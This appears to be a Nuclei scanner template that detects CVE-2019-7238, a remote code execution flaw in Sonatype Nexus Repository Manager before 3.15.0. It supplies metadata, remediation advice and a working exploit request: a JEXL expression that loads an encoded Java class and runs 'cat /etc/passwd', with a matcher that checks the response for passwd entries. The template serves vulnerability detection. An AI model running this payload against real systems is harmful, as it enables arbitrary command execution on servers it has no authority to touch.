id: CVE-2019-7238

info:
  name: Sonatype Nexus Repository Manager  <3.15.0 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Sonatype Nexus Repository Manager before 3.15.0 is susceptible to remote code execution.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade Sonatype Nexus Repository Manager to a version higher than 3.15.0.
  reference:
    - https://github.com/jas502n/CVE-2019-7238
    - https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-February-5th-2019
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7238
    - https://github.com/ycdxsb/Exploits
    - https://github.com/zhangchi991022/Comprehensive-experiment-of-infomation-security
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-7238
    epss-score: 0.974
    epss-percentile: 0.99915
    cpe: cpe:2.3:a:sonatype:nexus:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sonatype
    product: nexus
  tags: cve,cve2019,nexus,rce,kev,sonatype

http:
  - raw:
      - |
        POST /service/extdirect HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-Requested-With: XMLHttpRequest

        {"action": "coreui_Component", "type": "rpc", "tid": 8, "data": [{"sort": [{"direction": "ASC", "property": "name"}], "start": 0, "filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "function(x, y, z, c, integer, defineClass){   c=1.class.forName('java.lang.Character');   integer=1.class;   x='[encoded data, 6108 characters]';   y=0;   z='';   while (y lt x.length()){       z += c.toChars(integer.parseInt(x.substring(y, y+2), 16))[0];       y += 2;   };defineClass=2.class.forName('java.lang.Thread');x=defineClass.getDeclaredMethod('currentThread').invoke(null);y=defineClass.getDeclaredMethod('getContextClassLoader').invoke(x);defineClass=2.class.forName('java.lang.ClassLoader').getDeclaredMethod('defineClass','1'.class,1.class.forName('[B'),1.class.forName('[I').getComponentType(),1.class.forName('[I').getComponentType()); \ndefineClass.setAccessible(true);\nx=defineClass.invoke(\n    y,\n   'Exploit.Test234',\n    z.getBytes('latin1'),    0,\n    3054\n);x.getMethod('test', ''.class).invoke(null, 'cat /etc/passwd');'done!'}\n"}, {"property": "type", "value": "jexl"}], "limit": 50, "page": 1}], "method": "previewAssets"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203c9b34ab01cb5b93c5c9eb4d53ed7ccd3e2788b823b5045b92997308e8c3b2de02210094fa054002b0b9d13c5c39142ba8a7d067ae042a99f945ce5a763243c0b3228a:922c64590222798bb761d5b6d8e72950